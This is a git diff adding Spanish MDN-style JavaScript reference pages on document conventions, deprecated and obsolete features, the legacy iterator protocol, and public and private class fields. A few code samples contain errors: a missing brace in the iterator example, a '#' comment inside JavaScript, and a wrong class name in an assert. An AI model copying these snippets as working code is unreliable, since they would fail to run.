+ <li><a href="/es/Referencia_de_JavaScript_1.5" title="es/Referencia_de_JavaScript_1.5">Referencia de JavaScript 1.5</a> (éste manual) provee material de referencia para el lenguaje JavaScript.</li>
+</ul>
+
+<p>Si usted es principiante con JavaScript, comience por la <a href="/es/Guía_JavaScript_1.5" title="es/Guía_JavaScript_1.5">Guía de JavaScript</a> y una vez que haya obtenido firmes entendimientos de sus fundamentos, debe seguir con la <a href="/es/Referencia_de_JavaScript_1.5" title="es/Referencia_de_JavaScript_1.5">Referencia de JavaScript 1.5</a> para conseguir más detalles individuales acerca de los objetos y las sentencias.</p>
+
+<h3 id="Convenciones_en_el_documento" name="Convenciones_en_el_documento">Convenciones en el documento</h3>
+
+<p>Las aplicaciones JavaScript se ejecutan en muchos sistemas operativos; la información en este libro se aplica a todas las versiones. Las rutas {{ mediawiki.external('paths') }} para archivos y directorios están dadas en un formato Windows (con backslashes separando los nombres de directorios). Para las versiones Unix, la ruta de los directorios son las mismas, excepto que deben usarse slashes en vez de backslashes para separar los directorios.</p>
+
+<p>Esta guía utiliza los localizadores uniformes de recursos {{ mediawiki.external('uniform resource locators') }} (URLs) de la siguiente forma:</p>
+
+<p><code><span class="nowiki">http://servidor.dominio/path/file.html</span></code></p>
+
+<p>En estos URLs, "servidor" representa el nombre del servidor en el cual puede ejecutar su aplicación (p.e., busqueda1, www), "dominio" representa un nombre de dominio de Internet (p.e., netscape.com, uiuc.edu), "path" representa la estructura de directorios en el servidor y "file.html" representa un nombre individual de archivo. En general, los items en italica en un URLs se mantienen en su lugar y los items en un tipo normal de fuente monospace son literales. Si su servidor tiene habilitada la capa de sockets seguros {{ mediawiki.external('Secure Sockets Layer') }} (SSL), deberá usar https en lugar de http en el URL.</p>
+
+<p>Esta guía utiliza las siguientes convenciones de tipo de fuente:</p>
+
+<ul>
+ <li>La fuente <code>monospace font</code> es usada para listados de código y código de ejemplo, para las API y elementos del lenguaje (tales como nombres de métodos y nombres de propiedades), nombres de archivos, nombres de rutas, nombres de directorios, etiquetas HTML y cualquier texto que deberá ser digitado en la pantalla. (La fuente Monospace italic es usada para fijar lugares embedidos que deben mantenerse en el código.)</li>
+ <li>El tipo <em>Italic type</em> es usado para títulos de libros, para enfatizar, para variables y lugares que deben mantenerse y las palabras usadas en sentido literal.</li>
+ <li>La negrillas <strong>Boldface type</strong> son utilizadas para términos del glosario.</li>
+</ul>
+
+<p> </p>
diff --git a/files/es/web/javascript/referencia/características_desaprobadas/index.html b/files/es/web/javascript/referencia/características_desaprobadas/index.html
new file mode 100644
index 0000000000..f0f18cfbd7
--- /dev/null
+++ b/files/es/web/javascript/referencia/características_desaprobadas/index.html
@@ -0,0 +1,292 @@
+---
+title: Características en desuso y obsoletas
+slug: Web/JavaScript/Referencia/Características_Desaprobadas
+tags:
+  - Deprecated
+  - JavaScript
+  - Obsolete
+translation_of: Web/JavaScript/Reference/Deprecated_and_obsolete_features
+---
+<p>{{JsSidebar("More")}}</p>
+
+
+<p>Esta página enumera las características de JavaScript que están en desuso (es decir, todavía están disponibles pero se planea eliminarlas) y obsoletas (es decir, que ya no se pueden usar).</p>
+
+<h2 id="Características_en_desuso">Características en desuso</h2>
+
+<p>Estas características desaconsejadas aún se pueden usar, pero se deben usar con precaución porque se espera que se eliminen por completo en el futuro. Deberías trabajar para sustituirlas con las versiones recomendadas en tu código.</p>
+
+<h3 id="Propiedades_de_RegExp">Propiedades de RegExp</h3>
+
+<p>las siguientes propiedades están en desuso. Esto no afecta su uso en el {{jsxref("String.replace", "reemplazo de cadenas", "", 1)}}:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propiedad</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.n", "$1-$9")}}</td>
+   <td>
+    <p>Coincidencias de subcadenas entre paréntesis, si las hay.<br>
+     <strong>Precaución:</strong> El uso de estas propiedades puede generar problemas, ya que las extensiones del navegador pueden modificarlas. ¡Evítalas!</p>
+   </td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.input", "$_")}}</td>
+   <td>Consulta <code>entrada</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.multiline", "$*")}}</td>
+   <td>Consulta <code>multiline</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastMatch", "$&amp;")}}</td>
+   <td>Consulta <code>lastMatch</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastParen", "$+")}}</td>
+   <td>Consulta <code>lastParen</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.leftContext", "$`")}}</td>
+   <td>Consulta <code>leftContext</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.rightContext", "$'")}}</td>
+   <td>Consulta <code>rightContext</code>.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.input", "input")}}</td>
+   <td>La cadena contra la que se compara una expresión regular.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastMatch", "lastMatch")}}</td>
+   <td>Los últimos caracteres coincidentes.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastParen", "lastParen")}}</td>
+   <td>La última coincidencia de subcadena entre paréntesis, si la hubiera.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.leftContext", "leftContext")}}</td>
+   <td>La subcadena que precede a la coincidencia más reciente.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.rightContext", "rightContext")}}</td>
+   <td>La subcadena que sigue a la coincidencia más reciente.</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Las siguientes ahora son propiedades de instancias de <code>RegExp</code>, ya no del objeto <code>RegExp</code>:</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propiedad</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.global", "global")}}</td>
+   <td>Si se debe probar o no la expresión regular con todas las posibles coincidencias en una cadena, o solo con la primera.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.ignoreCase", "ignoreCase")}}</td>
+   <td>Si se deben o no ignorar las mayúsculas/minúsculas al intentar una coincidencia en una cadena.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.lastIndex", "lastIndex")}}</td>
+   <td>El índice en el que comenzará la siguiente coincidencia.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.multiline", "multiline")}}</td>
+   <td>Si buscar o no en cadenas de varias líneas.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("RegExp.source", "source")}}</td>
+   <td>El texto del patrón.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Métodos_RegExp">Métodos RegExp</h3>
+
+<ul>
+ <li>El método {{jsxref("RegExp.compile", "compile()")}} está en desuso.</li>
+ <li>El método <code>valueOf</code> ya no está especializado para <code>RegExp</code>. Usa {{jsxref ("Object.valueOf()")}}.</li>
+</ul>
+
+<h3 id="Propiedades_de_función">Propiedades de función</h3>
+
+<ul>
+ <li>Las propiedades {{jsxref("Global_Objects Function/caller", "caller")}} y {{jsxref("Global_Objects/Function/argument", "argument")}} están obsoletas porque filtran la función llamadora. En lugar de la propiedad arguments, debes usar el objeto {{jsxref("Functions/arguments", "arguments")}} dentro de los cierres de funciones.</li>
+</ul>
+
+<h3 id="Generador_heredado">Generador heredado</h3>
+
+<ul>
+ <li>La {{jsxref("Statements/Legacy_generator_function", "Declaración de función del generador heredado")}} y {{jsxref("Operators/Legacy_generator_function", "Expresión de función del generador heredado")}} están en desuso. En su lugar usa {{jsxref("Statements/function*", "declaraciones function*")}} y {{jsxref ("Operators/function *", "expresión function*")}}.</li>
+ <li>{{jsxref("Operators/Array_comprehensions", "JS1.7/JS1.8 Array comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} y {{jsxref("Operators/Generator_comprehensions", "JS1.7/JS1.8 Generator comprehension", "#Differences_to_the_older_JS1.7.2FJS1.8_comprehensions")}} están en desuso.</li>
+</ul>
+
+<h3 id="Iterador">Iterador</h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/StopIteration", "StopIteration")}} está en desuso.</li>
+ <li>{{jsxref("Global_Objects/Iterator", "Iterator")}} está en desuso.</li>
+</ul>
+
+<h3 id="Métodos_de_objeto">Métodos de objeto</h3>
+
+<ul>
+ <li>{{jsxref("Object.watch", "watch")}} y {{jsxref("Object.unwatch", "unwatch")}} están en desuso. En su lugar usa {{jsxref("Proxy")}}.</li>
+ <li><code>__iterator__</code> está en desuso.</li>
+ <li>{{jsxref("Object.noSuchMethod", "__noSuchMethod__")}} está en desuso. En su lugar usa {{jsxref("Proxy")}}.</li>
+</ul>
+
+<h3 id="Métodos_de_Date">Métodos de <code>Date</code></h3>
+
+<ul>
+ <li>{{jsxref("Global_Objects/Date/getYear", "getYear")}} y {{jsxref("Global_Objects/Date/setYear", "setYear")}} se ven afectados por el problema del año 2000 y se han subsumido por {{jsxref("Global_Objects/Date/getFullYear", "getFullYear")}} y {{jsxref("Global_Objects/Date/setFullYear", "setFullYear")}}.</li>
+ <li>En nuevo código, debes usar {{jsxref("Global_Objects/Date/toISOString", "toISOString")}} en lugar del método en desuso {{jsxref("Global_Objects/Date/toGMTString", "toGMTString")}}.</li>
+ <li>{{jsxref("Global_Objects/Date/toLocaleFormat", "toLocaleFormat")}} está en desuso.</li>
+</ul>
+
+<h3 id="Funciones">Funciones</h3>
+
+<ul>
+ <li>Las {{jsxref ("Operadores/Expression_closures", "expresiones closure", "", 1)}} están en desuso. En su lugar, utiliza {{jsxref("Operators/function", "funciones")}} o {{jsxref("Functions/Arrow_functions", "funciones de flecha", "", 1)}} normales.</li>
+</ul>
+
+<h3 id="Proxy">Proxy</h3>
+
+<ul>
+ <li><a href="/es/docs/Archive/Web/Old_Proxy_API">Proxy.create</a> y <a href="/es/docs/Archive/Web/Old_Proxy_API">Proxy.createFunction</a> están en desuso. En su lugar usa {{jsxref("Proxy")}}.</li>
+ <li>Las siguientes trampas están obsoletas:
+  <ul>
+   <li><code>hasOwn</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=980565">bug 980565</a>, Firefox 33).</li>
+   <li><code>getEnumerablePropertyKeys</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=783829">bug 783829</a>, Firefox 37)</li>
+   <li><code>getOwnPropertyNames</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1007334">bug 1007334</a>, Firefox 33)</li>
+   <li><code>keys</code> (<a href="https://bugzilla.mozilla.org/show_bug.cgi?id=1007334">bug 1007334</a>, Firefox 33)</li>
+  </ul>
+ </li>
+</ul>
+
+<h3 id="Secuencias_de_escape">Secuencias de escape</h3>
+
+<ul>
+ <li>Las secuencias de escape octales (\ seguida de uno, dos o tres dígitos octales) están en desuso en los literales de cadenas y expresiones regulares.</li>
+ <li>Las funciones {{jsxref("Global_Objects/escape", "escape")}} y {{jsxref("Global_Objects/unescape", "unescape")}} están en desuso. Usa {{jsxref("Global_Objects/encodeURI", "encodeURI")}}, {{jsxref("Global_Objects/encodeURIComponent", "encodeURIComponent")}}, {{jsxref("Global_Objects/decodeURI", "decodeURI")}} o {{jsxref("Global_Objects/decodeURIComponent", "decodeURIComponent")}} para codificar y decodificar secuencias de escape para caracteres especiales.</li>
+</ul>
+
+<h3 id="Métodos_de_cadena">Métodos de cadena</h3>
+
+<ul>
+ <li><a href="https://developer.mozilla.org/es/docs/tag/HTML%20wrapper%20methods">Métodos de envoltura HTML</a> tal como {{jsxref("String.prototype.fontsize")}} y {{jsxref("String.prototype.big")}}.</li>
+ <li>{{jsxref("String.prototype.quote")}} se eliminó desde Firefox 37.</li>
+ <li>el parámetro no estándar <code>flags</code> en {{jsxref("String.prototype.search")}}, {{jsxref("String.prototype.match")}} y {{jsxref("String.prototype.replace ")}} están en desuso.</li>
+ <li>{{jsxref("String.prototype.substr")}} probablemente no se eliminará pronto, pero está definido en el <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-string.prototype.substr" rel="noopener">Anexo B</a> del estándar ECMA-262, cuya <a href="https://www.ecma-international.org/ecma-262/9.0/index.html#sec-additional-ecmascript-features-for-web-browsers">introducción</a> dice: "... Los programadores no deben usar o asumir la existencia de estas características y comportamientos al escribir un nuevo código ECMAScript. ..."</li>
+</ul>
+
+<h2 id="Características_obsoletas">Características obsoletas</h2>
+
+<p>Estas características obsoletas se han eliminado por completo de JavaScript y ya no se pueden utilizar a partir de la versión indicada de JavaScript.</p>
+
+<h3 id="Objeto">Objeto</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propiedad</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/count", "__count__")}}</td>
+   <td>Devuelve el número de propiedades enumerables directamente en un objeto definido por el usuario.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/Parent", "__parent__")}}</td>
+   <td>Apunta al contexto de un objeto.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Object/eval", "Object.prototype.eval()")}}</td>
+   <td>Evalúa una cadena de código JavaScript en el contexto del objeto especificado.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.observe()")}}</td>
+   <td>Observar de forma asincrónica los cambios en un objeto.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.unobserve()")}}</td>
+   <td>Elimina observadores.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Object.getNotifier()")}}</td>
+   <td>Crea un objeto que permite desencadenar sintéticamente un cambio.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Función">Función</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th>Propiedad</th>
+   <th>Descripción</th>
+  </tr>
+  <tr>
+   <td>{{jsxref("Global_Objects/Function/arity", "arity")}}</td>
+   <td>Número de argumentos formales.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Array">Array</h3>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <td>Propiedad</td>
+   <td>Descripción</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.observe()")}}</td>
+   <td>Observación asincrónica de cambios en los arreglos.</td>
+  </tr>
+  <tr>
+   <td>{{jsxref("Array.unobserve()")}}</td>
+   <td>Elimina observadores.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Número">Número</h3>
+
+<ul>
+ <li>{{jsxref("Number.toInteger()")}}</li>
+</ul>
+
+<h3 id="ParallelArray">ParallelArray</h3>
+
+<ul>
+ <li>{{jsxref("ParallelArray")}}</li>
+</ul>
+
+<h3 id="Declaraciones">Declaraciones</h3>
+
+<ul>
+ <li>{{jsxref("Statements/for_each...in", "for each...in")}} está obsoleta. En su lugar utiliza {{jsxref("Statements/for...of", "for...of")}}.</li>
+ <li>La desestructuración {{jsxref("Statements/for...in", "for...in")}} está obsoleta. En su lugar utiliza {{jsxref("Statements/for...of", "for...of")}}.</li>
+ <li>los bloques let y la expresiones let están obsoletas.</li>
+</ul>
+
+<h3 id="E4X">E4X</h3>
+
+<p>Consulta <a href="/es/docs/Archive/Web/E4X">E4X</a> para obtener más información.</p>
+
+<h3 id="Variables_nítidas">Variables nítidas</h3>
+
+<p>Consulta <a href="/es/docs/Archive/Web/Sharp_variables_in_JavaScript">Variables nítidas en JavaScript</a> para obtener más información.</p>
diff --git a/files/es/web/javascript/referencia/características_desaprobadas/the_legacy_iterator_protocol/index.html b/files/es/web/javascript/referencia/características_desaprobadas/the_legacy_iterator_protocol/index.html
new file mode 100644
index 0000000000..5ef865f0bb
--- /dev/null
+++ b/files/es/web/javascript/referencia/características_desaprobadas/the_legacy_iterator_protocol/index.html
@@ -0,0 +1,72 @@
+---
+title: The legacy Iterator protocol
+slug: >-
+  Web/JavaScript/Referencia/Características_Desaprobadas/The_legacy_Iterator_protocol
+translation_of: >-
+  Web/JavaScript/Reference/Deprecated_and_obsolete_features/The_legacy_Iterator_protocol
+---
+<div>{{jsSidebar("More")}}</div>
+
+<div class="warning"><strong>Non-standard.</strong> The legacy iterator protocol is a SpiderMonkey-specific feature, and will be removed at some point. For future-facing usages, consider using <a href="/en-US/docs/Web/JavaScript/Reference/Statements/for...of" title="/en-US/docs/Web/JavaScript/Reference/Statements/for...of">for..of</a> loops and the <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">iterator protocol</a>.</div>
+
+<h2 id="The_deprecated_Firefox-only_iterator_protocol">The deprecated Firefox-only iterator protocol</h2>
+
+<p>Firefox, prior to version 26 implemented another iterator protocol that is similar to the standard <a href="/en-US/docs/Web/JavaScript/Guide/The_Iterator_protocol">ES6 Iterator protocol</a>.</p>
+
+<p>An object is an legacy iterator when it implements a <code>next()</code> method with the following semantics, and throws {{jsxref("Global_Objects/StopIteration", "StopIteration")}} at the end of iteration.</p>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Property</th>
+   <th scope="col">Value</th>
+  </tr>
+  <tr>
+   <td><code>next</code></td>
+   <td>A zero arguments function that returns an value.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Difference_between_legacy_and_ES6_iterator_protocols">Difference between legacy and ES6 iterator protocols</h3>
+
+<ul>
+ <li>The value was returned directly as a return value of calls to <code>next</code>, instead of the <code>value</code> property of a placeholder object</li>
+ <li>Iteration termination was expressed by throwing a {{jsxref("Global_Objects/StopIteration", "StopIteration")}} object.</li>
+</ul>
+
+<h3 id="Simple_example_with_the_old_protocol">Simple example with the old protocol</h3>
+
+<pre class="brush: js">function makeIterator(array){
+    var nextIndex = 0;
+
+    return {
+       next: function(){
+           if(nextIndex &lt; array.length){
+               return array[nextIndex++];
+           else
+               throw new StopIteration();
+       }
+    }
+}
+
+var it = makeIterator(['yo', 'ya']);
+
+console.log(it.next()); // 'yo'
+console.log(it.next()); // 'ya'
+try{
+    console.log(it.next());
+}
+catch(e){
+    if(e instanceof StopIteration){
+         // iteration over
+    }
+}
+</pre>
+
+<h2 id="Mira_también">Mira también</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/JavaScript/Guide/Iterators_and_Generators">Iteradores y generadores</a></li>
+ <li>Más More <a href="/en-US/docs/Web/JavaScript/Reference/Deprecated_and_obsolete_features">características obsoletas</a></li>
+</ul>
diff --git a/files/es/web/javascript/referencia/classes/class_fields/index.html b/files/es/web/javascript/referencia/classes/class_fields/index.html
new file mode 100644
index 0000000000..446c63c001
--- /dev/null
+++ b/files/es/web/javascript/referencia/classes/class_fields/index.html
@@ -0,0 +1,386 @@
+---
+title: Class fields
+slug: Web/JavaScript/Referencia/Classes/Class_fields
+tags:
+  - Clases
+  - JavaScript
+translation_of: Web/JavaScript/Reference/Classes/Public_class_fields
+---
+<div>{{JsSidebar("Classes")}}</div>
+
+<div class="note">Las declaraciones de campos públicos y privados son una <a href="https://github.com/tc39/proposal-class-fields">característica experimental (en estado 3)</a> propuesta por el <a href="https://tc39.github.io/beta/">TC39</a>, el comite de estandares de JavaScript. El soporte y funcionamiento en navegadores es limitado, pero la funcionalidad puede ser usada a través de un paso durante el proceso del build por medio de sistemas como <a href="https://babeljs.io/">Babel</a>. Revise <a href="#Browser_compatibility">compat information</a> mas abajo.</div>
+
+<p>Los campos públicos y estáticos son propieades editables, enumerables, y configurables. A diferencia de su contraparte privada, estos participan en la herencia de prototipo.</p>
+
+<h2 id="Sintaxis">Sintaxis</h2>
+
+<pre class="syntaxbox notranslate">class ClassWithInstanceField {
+  instanceField = 'instance field'
+}
+
+class ClassWithStaticField {
+  static staticField = 'static field'
+}
+
+class ClassWithPublicInstanceMethod {
+  publicMethod() {
+    return 'hello world'
+  }
+}
+</pre>
+
+<h2 id="Ejemplos">Ejemplos</h2>
+
+<h3 id="Campos_públicos_estáticos">Campos públicos estáticos</h3>
+
+<p>Los campos estáticos públicos son útiles cuando desea que exista un campo solo una vez por clase, no en cada instancia de clase que cree. Esto es útil para cachés, configuración fija o cualquier otro dato que no necesite replicarse en todas las instancias.</p>
+
+<p>Los campos estáticos públicos se declaran utilizando la palabra clave <code>static</code>. Se agregan al constructor de la clase en el momento de la evaluación de la clase utilizando {{jsxref("Global_Objects/Object/defineProperty", "Object.defineProperty()")}}. Se accede nuevamente desde el constructor de la clase.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static staticField = 'static field';
+}
+
+console.log(ClassWithStaticField.staticField);
+// expected output: "static field"​
+</pre>
+
+<p>Campos sin inicializadores son inicializados como <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static staticField;
+}
+
+console.assert(ClassWithStaticField.hasOwnProperty('staticField'));
+console.log(ClassWithStaticField.staticField);
+// expected output: "undefined"</pre>
+
+<p>Los campos estáticos públicos no se reinicializan en las subclases, pero se puede acceder a ellos a través de la cadena de prototipo.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static baseStaticField = 'base field';
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = 'sub class field';
+}
+
+console.log(SubClassWithStaticField.subStaticField);
+// expected output: "sub class field"
+
+console.log(SubClassWithStaticField.baseStaticField);
+// expected output: "base field"</pre>
+
+<p>Cuando se inicializasn campos <code>this</code> se refiere al constuctor de clase. Tambien puede ser referenciado por nombre, y se puede usar <code>super</code> para obtener el constructor de la superclase si lo tiene.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticField {
+  static baseStaticField = 'base static field';
+  static anotherBaseStaticField = this.baseStaticField;
+
+  static baseStaticMethod() { return 'base static method output'; }
+}
+
+class SubClassWithStaticField extends ClassWithStaticField {
+  static subStaticField = super.baseStaticMethod();
+}
+
+console.log(ClassWithStaticField.anotherBaseStaticField);
+// expected output: "base static field"
+
+console.log(SubClassWithStaticField.subStaticField);
+// expected output: "base static method output"
+</pre>
+
+<h3 id="Campos_de_instancia_públicos">Campos de instancia públicos</h3>
+
+<p>Los campos de instancia públicos existen en cada instancia de la clase que se ha creado. Al declarar un campo publico podemos asegurarnos que dicho campo siempre esta presente, y la definicion de la clase esta auto-documentada.</p>
+
+<p>Los campos de instancia públicos son agregados with <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a> ya sea a la hora de ser construido en la clase base (antes que el metodo constructor corra), o justo despues que  <code>super()</code> returne en una subclase.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  instanceField = 'instance field';
+}
+
+const instance = new ClassWithInstanceField();
+console.log(instance.instanceField);
+// expected output: "instance field"</pre>
+
+<p>Campos sin inicializadores son inicilizados en <code>undefined</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  instanceField;
+}
+
+const instance = new ClassWithInstanceField();
+console.assert(instance.hasOwnProperty('instanceField'));
+console.log(instance.instanceField);
+// expected output: "undefined"</pre>
+
+<p>Al igual que las propiedades, los nombres de campos pueden ser calculados (computed)</p>
+
+<pre class="brush: js notranslate">const PREFIX = 'prefix';
+
+class ClassWithComputedFieldName {
+    [`${PREFIX}Field`] = 'prefixed field';
+}
+
+const instance = new ClassWithComputedFieldName();
+console.log(instance.prefixField);
+// expected output: "prefixed field"</pre>
+
+<p>Cuando se inicializan campos <code>this</code> se refiere a la instancia de clase que esta siendo construida. Al igual que con los metodos publicos de instancia, si usted esta en una subclase puede acceder a al prototypo de la superclase usando <code>super</code>.</p>
+
+<pre class="brush: js notranslate">class ClassWithInstanceField {
+  baseInstanceField = 'base field';
+  anotherBaseInstanceField = this.baseInstanceField;
+  baseInstanceMethod() { return 'base method output'; }
+}
+
+class SubClassWithInstanceField extends ClassWithInstanceField {
+  subInstanceField = super.baseInstanceMethod();
+}
+
+const base = new ClassWithInstanceField();
+const sub = new SubClassWithInstanceField();
+
+console.log(base.anotherBaseInstanceField);
+// expected output: "base field"
+
+console.log(sub.subInstanceField);
+// expected output: "base method output"</pre>
+
+<h3 id="Métodos_públicos">Métodos públicos</h3>
+
+<h4 id="Métodos_públicos_estáticos">Métodos públicos estáticos</h4>
+
+<p>La palabra reservada <code><strong>static</strong></code> define un metodo estático para una clase. Los métodos estáticos no son llamads usando una instancia de la clase. En lugar de eso son llamados sobre la clase como tal. Estos metodos estáticos son frecuentemente funciones utilitarias que permiten por ejemplo la creación y clonacion de objetos.</p>
+
+<pre class="brush: js notranslate">class ClassWithStaticMethod {
+  static staticMethod() {
+    return 'static method has been called.';
+  }
+}
+
+console.log(ClassWithStaticMethod.staticMethod());
+// expected output: "static method has been called."</pre>
+
+<p>Los métodos estáticos son agregados al constructor de la clase usando <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a> duranten el evaluación de la clase. Estos metodos son "escribibles" (writable), no-enumerables y configurables.</p>
+
+<h4 id="Métodos_públicos_de_instancia">Métodos públicos de instancia</h4>
+
+<p>Como su nombre lo indica, los métodos publicos de instancia son metodos que estan disponibles para cualquier instancia de una clase.</p>
+
+<pre class="brush: js notranslate">class ClassWithPublicInstanceMethod {
+  publicMethod() {
+    return 'hello world';
+  }
+}
+
+const instance = new ClassWithPublicInstanceMethod();
+console.log(instance.publicMethod());
+// expected output: "hello worl​d"</pre>
+
+<p>Los métodos públicos de instancia son agregeados al prototipo de clase durante la evaluacón de la clase usando <a href="/en-US/docs/Web/JavaScript/Reference/Global_Objects/Object/defineProperty">Object.defineProperty</a>. Estos metodos son "escribibles" (writable), no-enumerables y configurables.</p>
+
+<p>Usted puede usar un generador, async y funciones generadoras asincronas</p>
+
+<pre class="brush: js notranslate">class ClassWithFancyMethods {
+  *generatorMethod() { }
+  async asyncMethod() { }
+  async *asyncGeneratorMethod() { }
+}</pre>
+
+<p>Dentro de un metodo de instancia, <code>this</code> se referie a la instancia como tal. En las subclases, <code>super</code> le permite acceder el prototipo de la superclase, permitiendo así llamar métodos de la superclase.</p>
+
+<pre class="brush: js notranslate">class BaseClass {
+  msg = 'hello world';
+  basePublicMethod() {
+    return this.msg;
+  }
+}
+
+class SubClass extends BaseClass {
+  subPublicMethod() {
+    return super.basePublicMethod();
+  }
+}
+
+const instance = new SubClass();
+console.log(instance.subPublicMethod());
+// expected output: "hello worl​d"
+</pre>
+
+<p>Existen metodos especiales llamados "Getters" y "Setters" que se vinculan a una propiedad de una clase, y que son ejecutados o llamados cuando esa propiedad es consultada o moditficada. Puede usar las palabras reservaddas <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/get">get</a> y <a href="https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Functions/set">set</a> para declarar una instancia pública de "getter" or "setter". [N.T. preferí decir Getter/Setter que decir Consultadores/Mofificadores]</p>
+
+<pre class="brush: js notranslate">class ClassWithGetSet {
+  #msg = 'hello world';
+  get msg() {
+    return this.#msg;
+  }
+  set msg(x) {
+    this.#msg = `hello ${x}`;
+  }
+}
+
+const instance = new ClassWithGetSet();
+console.log(instance.msg);
+// expected output: "hello worl​d"
+
+instance.msg = 'cake';
+console.log(instance.msg);
+// expected output: "hello cake"
+</pre>
+
+<h2 id="Campos_privados">Campos privados</h2>
+
+<h3 id="Campos_privados_estáticos">Campos privados estáticos</h3>
+
+<p>Private fields are accessible on the class constructor from inside the class declaration itself.</p>
+
+<p>The limitation of static variables being called by only static methods still holds.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static publicStaticMethod() {
+    ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD = 42;
+    return ClassWithPrivateStaticField.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);</pre>
+
+<p>Private static fields are added to the class constructor at class evaluation time.</p>
+
+<p>There is a provenance restriction on private static fields. Only the class which defines the private static field can access the field. This can lead to unexpected behaviour when using <strong><code>this</code></strong></p>
+
+<pre class="brush: js notranslate">class BaseClassWithPrivateStaticField {
+  static #PRIVATE_STATIC_FIELD;
+
+  static basePublicStaticMethod() {
+    this.#PRIVATE_STATIC_FIELD = 42;
+    return this.#PRIVATE_STATIC_FIELD;
+  }
+}
+
+class SubClass extends BaseClassWithPrivateStaticField { }
+
+assertThrows(() =&gt; SubClass.basePublicStaticMethod(), TypeError);
+</pre>
+
+<h3 id="Campos_privados_de_instancia">Campos privados de instancia</h3>
+
+<p>Private instance fields are declared with <strong># names </strong>( pronounced "hash names"), which are identifiers prefixed with #. The # is a part of the name itself and is used for declaration and accessing as well.</p>
+
+<p>The encapsulation is enforced by the language. It is a syntax error to refer to # names not in scope.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateField {
+  #privateField;
+
+  constructor() {
+    this.#privateField = 42;
+    this.#randomField = 666; # Syntax error
+  }
+}
+
+const instance = new ClassWithPrivateField();
+instance.#privateField === 42; // Syntax error
+</pre>
+
+<h2 id="Métodos_privados">Métodos privados</h2>
+
+<h3 id="Métodos_privados_estáticos">Métodos privados estáticos</h3>
+
+<p>Like their public equivalent, private static methods are called on the class, not instances of the class. Like private static fields, they are only accessible from inside the class declaration.</p>
+
+<p>Private static methods may be generator, async and async generator functions.</p>
+
+<pre class="brush: js notranslate">class ClassWithPrivateStaticMethod {
+    static #privateStaticMethod() {
+        return 42;
+    }
+
+    static publicStaticMethod() {
+        return ClassWithPrivateStaticMethod.#privateStaticMethod();
+    }
+}
+
+assert(ClassWithPrivateStaticField.publicStaticMethod() === 42);
+</pre>
+
+<h3 id="Métodos_privados_de_instancia">Métodos privados de instancia</h3>
+
+<p>Private instance methods are methods available on class instances whose access is restricted in the same manner as private instance fields.</p>
+
